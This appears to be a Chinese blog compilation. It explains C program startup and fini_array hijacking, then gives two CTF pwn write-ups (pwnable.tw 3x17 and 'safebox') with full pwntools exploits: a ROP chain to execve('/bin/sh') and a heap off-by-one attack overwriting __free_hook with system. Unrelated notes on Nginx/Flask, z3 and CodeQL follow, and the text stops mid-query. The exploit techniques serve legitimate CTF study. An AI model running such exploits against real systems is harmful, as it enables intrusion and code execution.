从这题学到很多之前不太注意的地方，因此还盘点了一下C语言程序运行的整个流程，正所谓 ctf for learning（x

前置知识

从Hello world开始

Hello world简单吗？写起来简单，但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意，明明在第一印象中main函数处于一个“至高无上”的地位，却还要在末尾return 0? 有没有想过这个返回值最后交给了谁？

反汇编分析

IDA打开刚刚编译的helloworld，对main函数查看交叉引用，发现在main之前有一个_start操作了main函数的地址，再对_start交叉引用发现，_start的地址是整个程序的Entry_point，也就是说，程序执行后最先执行的是start中的指令。

下面是start的反汇编结果：

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见，start在最后调用了__libc_start_main这个函数，经过查证，这是一个库函数（但是为了讲解方便这里使用了静态编译），主要的功能是初始化进程以及各类运行环境，并处理main函数的返回值。这个函数的声明如下：

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多，主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址，而r8和rcx分别对应__libc_csu_fini和__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗，于是再去查找这两个函数的相关信息发现，这两个函数各自与一个数组相关联：

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init和__libc_csu_fini分别对应_init_array和_fini_array，这两个数组各自有两个元素，保存了一些函数指针。在进入这个两个函数的时候，他们会遍历调用各自数组中的函数指针。而且，__libc_csu_init 执行期在main之前，__libc_csu_fini 执行期在main之后。也就是说，这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是，_init_array执行顺序是下标由小到大，_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是：

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此，最开始的小问题就解决了，main函数的返回值最后交给了_libc_start_main处理，而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了，虽然_init_array不便控制，因为它在主函数前就执行完了，但是_fini_array却可以利用主函数的某些漏洞（如任意写）进行控制。

方式1：构造Loop

遇到写次数有限的格式化字符串漏洞，可以利用_fini_array构造loop进行多次写。

尝试构造如下结构：

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候，就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ，从而多次经过漏洞函数所在位置达到多次写的目的。

方式2：构造ROP链

这是比较难发现的点，首先仔细看__libc_csu_fini的反汇编结果：

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现，在执行过程中，__libc_csu_fini先将rbp保存在了原栈，再把rbp迁移到fini_array的位置，然后从fini_array[1]到fini_array[0]进行函数指针的调用，最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址，就会导致rsp被迁移到fini_array上，然后按照fini_array[1]，fini_array[2]，fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码（部分函数经过重命名）：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型（地址）
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写，但是if判断限制只能写一次，并且没有地址泄露的步骤。

很明显，我们需要构造一个loop进行多次任意写，但是栈上地址不知道，所以不能写ret_addr，只能用fini_array构造loop。

但是loop回来能不能过if判断呢？显然不能......才怪。

只要你细心观察就会发现byte_4B9330是unsigned _int8，也就是范围在0-255，也就是说当loop执行到一定次数，发生整数溢出时，byte_4B9330 == 1可以重新成立，这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop，只能从fini_array[2]开始写。

ROP链写完后，后把fini_array[0]写成leave ret，fini_array[1]写成ret，便可以在结束掉loop的同时将执行流衔接到ROP链上，完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简，只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。

safebox

题目文件

pwn

libc.so

分析

这个题感觉挺经典的，分配堆时存在一字节溢出。且只能在分配时写入，不能修改，不能打印堆块内容。

整理一下大致的思路，因为需要写malloc_hook或者free_hook，可以尝试先利用_IO_FILE_stdout泄露地址。既然需要泄露地址那就需要构造unsortedbin和伪造tcache（这里是难点）。主要构造方式参考了sad师傅的思路：利用unlink的方式将四个堆块构造成overlapping，合并成一个大的unsortedbin，同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块，使其进入tcache，这样堆块上如果有stdout的地址就可以通过两次malloc进行修改_IO_FILE_stdout。还有一个问题就是如何进行部分写构造出stdout的地址？其实很简单，只要从构造出的大unsortedbin中切割一部分，让剩下的部分对齐之前保留的指针，然后再次申请malloc(1)就可以写unsorted_arena低二字节，进行爆破。

整理如下：

• 构造4个块的overlapping（unlink）;
• 释放被覆盖堆块、切割unsortedbin、部分写伪造tcache;
• 写stdout泄露libc;
• 同第二步类似写freehook为system函数地址;
• 最后，向一个堆块写入/bin/sh并将其释放即可.

注意本题one_gadget的各种利用方式都失效了，更改为用free_hook的方式

爆破脚本

环境：ubuntu18.04 libc2.27 python3

适合本地复现用，原题线上环境拿shell后需要输入token，有些区别

from pwn import *
import sys

context.log_level = "debug"

def add(idx:int, length:int, content):
    p.recvuntil(b">>>")
    p.sendline(b"1")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"len:")
    p.sendline(str(length).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b">>>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b">>>")
    p.sendline(b"3")

def exp():
    global p 
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    # make unsortedbin for unlink
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ## unlink header
    add(7, 0xf8, b"idx7") #idx7
    ## keep ptr
    add(8, 0x88, b"idx8") #idx8
    add(9, 0x98, b"idx9") #idx9
    add(10, 0xf8, b"idx10") #idx10
    add(11, 0x10, b"pppp");
    for i in range(7):
        delete(i) # del idx:1-6
    delete(7)
    delete(9)
    payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
    add(9, 0x98, payload1) #idx9
    delete(10)
    #gdb.attach(p)
    # remalloc, UAF, fake tcache
    ## remalloc for UAF
    ## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ### partial free
    delete(8)
    add(7, 0xf8, b"idx7") #idx7
    add(8, 0x1, b"\x60\xc7") #idx8
    ### attack _IO_FILE_stdout
    add(12, 0x88, b"idx12") #idx12
    #gdb.attach(p)
    payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
    add(12, 0x88, payload2)
    ### leak libc_base
    p.recvn(23, timeout=1)
    leak = u64(p.recvn(8, timeout=1))
    libc_base = leak - 0x3eb780
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    #one = libc_base + 0x10a38c
    one = libc_base + libc.symbols[b"system"]
    print("leak:",hex(leak))
    print("libc_base:",hex(libc_base))
    print("malloc_hook:",hex(malloc_hook))
    print("free_hook:",hex(free_hook))
    print("one:",hex(one))

    # write malloc_hook
    delete(9)
    add(13, 0x68, b"idx13") #idx13
    payload3 = p64(free_hook)
    add(13, 0x8, payload3) #idx13
    add(13, 0x98, b"idx13") #idx13
    add(13, 0x98, p64(one)) #idx13
    #gdb.attach(p)
    ## go one_gadget
    add(15, 0x30, b"/bin/sh\x00")
    delete(15)
    p.sendline("ls")
    ret = p.recv()
    if b"flag" in ret:
        p.sendline("cat flag")
        print(p.recv())
        print("SUCCESS")
        sys.exit(0)
    else:
        print("NOT SUCCESS")
        p.close()

if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            print("ERROR:",str(e))
            p.close()

使用Nginx反向代理Flask静态资源
环境：Ubuntu 18.04

实现原理

如果flask项目里面有大量静态资源，可以尝试使用Nginx代理对静态资源的请求，把真正的动态请求转发给Flask。

比如：
flask在127.0.0.1监听8001端口，而Nginx配置为监听0.0.0.0的8000端口，那么在外部请求hostname:8000时就会把动态请求转发到8001上，而静态资源请求则直接代理至储存静态资源的目录下。

Nginx配置

安装

apt install nginx

配置文件路径

1. 存放全局配置：/etc/nginx/nginx.conf
2. 存放单个server配置：/etc/nginx/conf.d/xxx-xxx-xxx.conf
   > 这个目录下的配置默认被1中的配置文件include了，所以可以单独编辑

* 注意Nginx配置文件的内层块是会继承外层块的属性的

具体配置内容

nginx.conf

• 其中每个配置项都大有讲究，单这里重点标记反代flask要注意的
• 如果在运行中改变了配置文件可以用nginx -s reload重载

#default: www-data
#这里要注意，运行nginx的用户需要和flask保持一致（这里个人原因用了root），否则会发生权限错误
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##

    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;

    ##
    # Gzip Settings
    ##

    gzip on;

    # gzip_vary on;
    # gzip_proxied any;
    # gzip_comp_level 6;
    # gzip_buffers 16 8k;
    # gzip_http_version 1.1;
    # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

    ##
    # Virtual Host Configs
    ##

    include /etc/nginx/conf.d/*.conf;
    #include /etc/nginx/sites-enabled/*;
}

xxx-xxx-xxx.conf

• 这个文件比较重要

server {
    listen      8000; # 对外监听的端口

    root        /root/github/Vision-Ward; #服务器上的项目目录
    server_name arm.eqqie.cn; # 域名

    # 处理静态资源:
    #注意这里用了正则表达式，也就是把路由到/static/*的请求都视为对静态资源的请求
    location ~ ^\/static\/.*$ { 
        #这里的root表示静态资源的位置，注意如果按照上面的写法，会在这个路径后拼接上static，所以这里只需要写到static的上层目录即可
        root /root/github/Vision-Ward/app;
    }

    # 动态请求转发到8001端口(gunicorn):
    location / {
        #flask监听的位置（不对外）
        proxy_pass       http://127.0.0.1:8001;
        #这里也很重要，把请求的原始信息暴露给藏在后面的flask，避免其没有办法获取用户真正的ip地址
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Host $host;
        #建议如果涉及非80端口请求重定向的时候，用下面这种设置，可以避免重定向后端口消失的问题
        #proxy_set_header Host arm.eqqie.cn:8000;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

flask配置

• 注意监听地址保持和配置文件中proxy_pass一致
• 然后只需要正常启动flask即可

使用nginx启动服务，如果遇到错误直接复制下来查就会有很多答案。也可以多注意看看log。

• z3作为微软开发的求解器，其提供的接口在很多应用程序和编程语言中都可以使用。
  > z3prover在CHAINSAW和NAVEX中均有使用
• 在这里关键的作用是想要配和CodeQL，通过CodeQL提取路径约束，然后用Z3求解约束
• 其实关于如何用CodeQL提取出可以作为z3输入的约束还是一头雾水...但是这不妨碍先学习z3的使用，说不定可以找到一些灵感完成两者的结合。（应该会有办法的，要不这条研究路线就断了）
• 后期可能需要造一些轮子，这么说来还是需要花挺多时间的（尤其是假期即将结束，需要挺多时间复习开学期考功课）
• 官方使用文档：https://rise4fun.com/z3/tutorialcontent/guide
• z3py功能手册：https://z3prover.github.io/api/html/namespacez3py.html
• z3py使用文档：https://ericpony.github.io/z3py-tutorial/guide-examples.htm
  > 如果二进制版的z3不便于后期结合，还需要花时间学下z3py
• z3所使用的语法标准：http://smtlib.cs.uiowa.edu/papers/smt-lib-reference-v2.6-r2017-07-18.pdf
• 最后，关于细节本文记录得不是很多，所以需要一些基础来阅读

环境安装

编译好的二进制版

1. Github下载最新版：https://github.com/Z3Prover/z3/releases
   
2. 解压后将其中的bin目录添加到环境变量（Unix-like系统可以添加软连接到/usr/bin中）
3. z3 <filename> 使用

z3py

1. pip install z3-prover
2. from z3 import * 使用
   > 注意在z3py中，很多语句被封装成了对象/类方法，但是基本求解逻辑还是一样的，取决于后期打算采用何种形式

基本语法

指令结构

z3指令有一套自己的结构，一般称为三地址码，其遵循的标准在引言中有链接。
基本的构成为 操作符 操作数1 操作数2

常量(constants)和函数(functions)

这是z3指令中最常见的两种结构，然而本质上常量只是作为一个没有参数的函数，其求解结果也以函数结构所表现。

(declare-fun f (Int) Int) ; 这里f是接受Int类型的函数
(declare-fun a () Int) ; a可以看成常量
(declare-const b Int) ; 语法糖写法，声明一个常量

与编程语言中函数不同的是，z3中的函数可以视为一个未解释的公式，不会在运行时抛出异常，也不会出现没有返回值的情况。专业术语将其称之为一阶逻辑或者谓词演算——百度百科。一阶逻辑中的“函数”是“未定义”的，意思就是不存在一种类似于四则运算一般固定的解释模式(model)。只要任何符合约束条件的model，都可以作为一种解释，而check-set就是用来求解的。

很抽象，可以看下面例子大概理解下。

用z3证明 f(f(x)) = x, f(x)=y, x!=y约束的存在性（给出一种可能性解释），并且还定义了一个抽象的类型（sort在z3中表示类型，使用declare-sort定义类型）：

(declare-sort A)
(declare-const x A)
(declare-const y A)
(declare-fun f (A) A)
(assert (= (f (f x)) x))
(assert (= (f x) y))
(assert (not (= x y)))
(check-sat)
(get-model)

需要特别注意下z3函数的使用方式与编程语言不同：编程语言通过(x1,x2,x3)方式传参，而z3将函数视为一个运算符号通过类似三地址码的方式传参 —— 函数符号 x1 x2 x3

输出：

sat
(model
  ;; universe for A:
  ;;   A!val!0 A!val!1
  ;; -----------
  ;; definitions for universe elements:
  (declare-fun A!val!0 () A)
  (declare-fun A!val!1 () A)
  ;; cardinality constraint:
  (forall ((x A)) (or (= x A!val!0) (= x A!val!1)))
  ;; -----------
  (define-fun x () A
    A!val!0)
  (define-fun y () A
    A!val!1)
  (define-fun f ((x!0 A)) A
    (ite (= x!0 A!val!1) A!val!0
      A!val!1))
)

生成的模型为A引入了抽象值。

算数运算

基本运算

z3内置了对于整数和实数等数学类型的支持，而且貌似最新版已经合并了原先的插件——z3str，可以进行字符串处理，关于这部分文档似乎没有详细说明...

declare-const可以用于声明整数和实数常量

如：

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)

声明完常量后，就可以在后续的式子中使用这些变量，式子中可以包含常用的数学运算符如:
+ - x div/mod/ram。

check-sat & get-model

check-sat是高频使用的命令，用于对表达式求解，基本上就是为每个常数分配一个数字。如果存在一种解使得所有式子为真，那么结果就为sat，并且称这个解释为一个model，使用get-model可以查看；如果不存在解释，则结果为unsat，也无法获取可行的model。
例子：

(declare-const a Int)
(declare-const b Int)
(declare-const c Int)
(declare-const d Real)
(declare-const e Real)
(assert (> a (+ b 2)))
(assert (= a (+ (* 2 c) 10)))
(assert (<= (+ c b) 1000))
(assert (>= d e))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun c () Int
    0)
  (define-fun b () Int
    0)
  (define-fun e () Real
    0.0)
  (define-fun d () Real
    0.0)
  (define-fun a () Int
    10)
)

类型转换

在z3中Int类型和Real类型不会自动互相转换，但是借助函数to-Real（参数为一个整数）可以将整数化为实数。
例子：

(assert (> e (+ (to_real (+ a b)) 2.0)))
(assert (= d (+ (to_real c) 0.5)))

非线性运算特性

当式子中有类似(* t s)的实数运算时称为非线性式，这种式子求解极其困难，导致z3在求解非线性问题的时候不一定总能确定是否有解。当无法确定是否可以求解时使用check-sat会返回unknow；当然，部分特殊的非线性式依然可以确定可满足性。
例子：

(declare-const a Int)
(assert (> (* a a) 3))
(check-sat)
(get-model)

(echo "Z3 does not always find solutions to non-linear problems")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)

(echo "yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...")
(declare-const x Real)
(declare-const y Real)
(declare-const z Real)
(assert (= (* x x) (+ x 2.0)))
(assert (= (* x y) x))
(assert (= (* (- y 1.0) z) 1.0))
(check-sat)

(reset)
(echo "When presented only non-linear constraints over reals, Z3 uses a specialized complete solver")
(declare-const b Real)
(declare-const c Real)
(assert (= (+ (* b b b) (* b c)) 3.0))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun a () Int
    (- 3))
)
Z3 does not always find solutions to non-linear problems
unknown
yet it can show unsatisfiabiltiy for some nontrivial nonlinear problems...
unsat
When presented only non-linear constraints over reals, Z3 uses a specialized complete solver
sat
(model
  (define-fun b () Real
    (/ 1.0 8.0))
  (define-fun c () Real
    (/ 1535.0 64.0))
)

除法运算

z3支持除法、求模和求余运算，这些运算在底层都会被映射成乘法。

注意在实数除法的时候用符号/，因为实数没有求模和取余。

例子：

(declare-const a Int)
(declare-const r1 Int)
(declare-const r2 Int)
(declare-const r3 Int)
(declare-const r4 Int)
(declare-const r5 Int)
(declare-const r6 Int)
(assert (= a 10))
(assert (= r1 (div a 4))) ; integer division
(assert (= r2 (mod a 4))) ; mod
(assert (= r3 (rem a 4))) ; remainder
(assert (= r4 (div a (- 4)))) ; integer division
(assert (= r5 (mod a (- 4)))) ; mod
(assert (= r6 (rem a (- 4)))) ; remainder
(declare-const b Real)
(declare-const c Real)
(assert (>= b (/ c 3.0)))
(assert (>= c 20.0))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun c () Real
    20.0)
  (define-fun b () Real
    (/ 20.0 3.0))
  (define-fun r6 () Int
    (- 2))
  (define-fun r5 () Int
    2)
  (define-fun r4 () Int
    (- 2))
  (define-fun r3 () Int
    2)
  (define-fun r2 () Int
    2)
  (define-fun r1 () Int
    2)
  (define-fun a () Int
    10)
)

z3有一个很有意思的地方，就是不会发生除0错误，因为除0操作是未定义的，在求解的时候可以被定义为一个函数。
例如：

(declare-const a Real)
; The following formula is satisfiable since division by zero is not specified.
(assert (= (/ a 0.0) 10.0)) 
(check-sat)
(get-model)

; Although division by zero is not specified, division is still a function.
; So, (/ a 0.0) cannot evaluated to 10.0 and 2.0.
(assert (= (/ a 0.0) 2.0)) 
(check-sat)

输出：

sat
(model
  (define-fun a () Real
    1.0)
  (define-fun /0 ((x!0 Real) (x!1 Real)) Real
    10.0)
)
unsat

如果对上述行为不满意还可以使用ite语句自定义除法规则：

; defining my own division operator where x/0.0 == 0.0 for every x.
(define-fun mydiv ((x Real) (y Real)) Real
  (if (not (= y 0.0))
      (/ x y)
      0.0))
(declare-const a Real)
(declare-const b Real)
(assert (>= (mydiv a b) 1.0))
(assert (= b 0.0))
(check-sat)

关于ite语句：
其实就是if-then-else语句，其结构为(if 条件 真返回值 假返回值)
此处判断被除数是否为0来返回不同结果

位向量

暂略，用到的不多

数组

常用数组操作

• 数组定义：(declare-const a1 (Array Int Int))
  
  

  这是使用了语法糖的定义方式，原生定义方式如下：

  (define-fun a1 () (Array Int Int) [val])
  例如：

  (define-fun a2 () (Array Int Int)
  ((as const (Array Int Int)) 0))
  

• 取出值：(select a i)
  
  

  a-数组；i-下标；返回：a数组下标对应值

• 存入值：(store a i v)
  
  

  a-数组；i-下标；v-新值；返回：数组本身

例子：

(declare-const x Int)
(declare-const y Int)
(declare-const z Int)
(declare-const a1 (Array Int Int))
(declare-const a2 (Array Int Int))
(declare-const a3 (Array Int Int))
(assert (= (select a1 x) x))
(assert (= (store a1 x y) a1))
(check-sat)
(get-model)

输出：

sat
(model
  (define-fun y () Int
    0)
  (define-fun a1 () (Array Int Int)
    (store ((as const (Array Int Int)) 1) 0 0))
  (define-fun x () Int
    0)
  (define-fun z () Int
    0)
  (define-fun a2 () (Array Int Int)
    ((as const (Array Int Int)) 0))
  (define-fun a3 () (Array Int Int)
    ((as const (Array Int Int)) 0))
)

常数数组

当数组中每个索引都指向同一个值就变成了常数数组。可以使用as const (Array T1 T2)结构构造一个常数数组，该结构会返回指定类型的数组。原文档对这块的介绍不是很详细，我提取了主要的语句结构如下：

(declare-const a (Array Int Int))
(assert (= a ((as const (Array Int Int)) 1)))

第一句声明一个数组，第二句用断言的方式将该数组约束为常数数组。
例子：

(declare-const all1 (Array Int Int))
(declare-const a Int)
(declare-const i Int)
(assert (= all1 ((as const (Array Int Int)) 1)))
(assert (= a (select all1 i)))
(check-sat)
(get-model)
(assert (not (= a 1)))
(check-sat)

输出：

sat
(model
  (define-fun a () Int
    1)
  (define-fun all1 () (Array Int Int)
    ((as const (Array Int Int)) 1))
  (define-fun i () Int
    0)
)
unsat

官方文档：https://help.semmle.com/QL/learn-ql/python/pointsto-type-infer.html

中文翻译：https://github.com/xsser/codeql_chinese

Python-CodeQL中抽象语法树相关的类

Abstract syntax tree

• AstNode > - Module – A Python module > - Class – The body of a class definition > - Function – The body of a function definition > - Stmt – A statement >> - Assert – An assert statement >> - Assign – An assignment >>> - AssignStmt – An assignment statement, x = y >>> - ClassDef – A class definition statement >>> - FunctionDef – A function definition statement >> - AugAssign – An augmented assignment, x += y >> - Break – A break statement >> - Continue – A continue statement >> - Delete – A del statement >> - ExceptStmt – The except part of a try statement >> - Exec – An exec statement >> - For – A for statement >> - If – An if statement >> - Pass – A pass statement >> - Print – A print statement (Python 2 only) >> - Raise – A raise statement >> - Return – A return statement >> - Try – A try statement >> - While – A while statement >> - With – A with statement > - Expr – An expression >> - Attribute – An attribute, obj.attr >> - Call – A function call, f(arg) >> - IfExp – A conditional expression, x if cond else y >> - Lambda – A lambda expression >> - Yield – A yield expression >> - Bytes – A bytes literal, b"x" or (in Python 2) "x" >> - Unicode – A unicode literal, u"x" or (in Python 3) "x" >> - Num – A numeric literal, 3 or 4.2 >>> - IntegerLiteral >>> - FloatLiteral >>> - ImaginaryLiteral >> - Dict – A dictionary literal, {'a': 2} >> - Set – A set literal, {'a', 'b'} >> - List – A list literal, ['a', 'b'] >> - Tuple – A tuple literal, ('a', 'b') >> - DictComp – A dictionary comprehension, {k: v for ...} >> - SetComp – A set comprehension, {x for ...} >> - ListComp – A list comprehension, [x for ...] >> - GenExpr – A generator expression, (x for ...) >> - Subscript – A subscript operation, seq[index] >> - Name – A reference to a variable, var >> - UnaryExpr – A unary operation, -x >> - BinaryExpr – A binary operation, x+y >> - Compare – A comparison operation, 0 < x < 10 >> - BoolExpr – Short circuit logical operations, x and y, x or y

Analyzing control flow

同一个函数作用域中查找互斥块

import python

from BasicBlock b1, BasicBlock b2
where b1 != b2 and not b1.strictlyReaches(b2) and not b2.strictlyReaches(b1) and
exists(Function shared, BasicBlock entry |
    entry.contains(shared.getEntryNode()) and
    entry.strictlyReaches(b1) and entry.strictlyReaches(b2)
)
select b1, b2

This typically gives a very large number of results, because it is a common occurrence in normal control flow. It is, however, an example of the sort of control-flow analysis that is possible. Control-flow analyses such as this are an important aid to data flow analysis. For more information, see Analyzing data flow and tracking tainted data in Python.

搜索结果特别大，可用性不高，可以优化一下

Pointer analysis & type inference

指针分析： https://zhuanlan.zhihu.com/p/79804033 （算法较为复杂，尝试丢给求解器计算） 类型推断： https://zhuanlan.zhihu.com/p/97441100

The predicate ControlFlowNode.pointsTo(...) shows which object a control flow node may 'point to' at runtime.

ControlFlowNode.pointsTo(...) has three variants:

predicate pointsTo(Value object)
predicate pointsTo(Value object, ControlFlowNode origin)
predicate pointsTo(Context context, Value object, ControlFlowNode origin)

For complex data flow analyses, involving multiple stages, the ControlFlowNode version is more precise, but for simple use cases the Expr based version is easier to use. For convenience, the Expr class also has the same three predicates. Expr.pointsTo(...) also has three variants:

predicate pointsTo(Value object)
predicate pointsTo(Value object, AstNode origin)
predicate pointsTo(Context context, Value object, AstNode origin)

查询无法被执行的异常处理块

当一个Try语句中，先后有多个Handler，但是前面所捕捉的错误类型是后面的超类，就会导致后面的错误捕捉永远无法被执行

该查询中利用i<j来表示Handler的顺序，利用getType和pointsTo确定类关系。

猜测 | 符号在此处的作用类似与管道，把输入定向到后面的子句。注意在第二个exists中由于调用了谓词，所以进行了两次定向。

getASuperType()可以获得超类。

import python

from Try t, ExceptStmt ex1, ExceptStmt ex2
where
exists(int i, int j |
    ex1 = t.getHandler(i) and ex2 = t.getHandler(j) and i < j
)
and
exists(ClassValue cls1, ClassValue cls2 |
    ex1.getType().pointsTo(cls1) and
    ex2.getType().pointsTo(cls2) |
    not cls1 = cls2 and
    cls1 = cls2.getASuperType()
)
select t, ex1, ex2

寻找可能将不可迭代对象作为循环迭代的位置

不溯源

通过loopup可以查看一些类属性

import python 
from For loop, Value iter, ClassValue cls 
where loop.getIter().getAFlowNode().pointsTo(iter) 
    and   cls = iter.getClass() 
    and   not exists(cls.lookup("__iter__")) 
select loop, cls

溯源（结合AstNode）

使用 predicate pointsTo(Value object, AstNode origin) 这个谓词，并输出origin

import python

from For loop, Value iter, ClassValue cls, AstNode origin
where loop.getIter().pointsTo(iter, origin) and
  cls = iter.getClass() and
  not cls.hasAttribute("__iter__")
select loop, cls, origin

Finding calls using call-graph analysis

直接通过函数名查找函数调用

import python

from Call call, Name name
where call.getFunc() = name and name.getId() = "eval"
select call, "call to 'eval'."

问题：

1. 可能误认为某些对自定义方法名为eval的方法的调用
2. 默认了调用的函数名为eval，可能漏掉一些情况

改良版
利用Value::named()和getACall取得对eval正确调用，然后在控制流图上检索出来
同时结合控制流图检索可以有效防止跑到python内置模块中搜索一大堆无关结果，提高了结果的相关性
（技巧：合理利用CFG）

import python

from ControlFlowNode call, Value eval
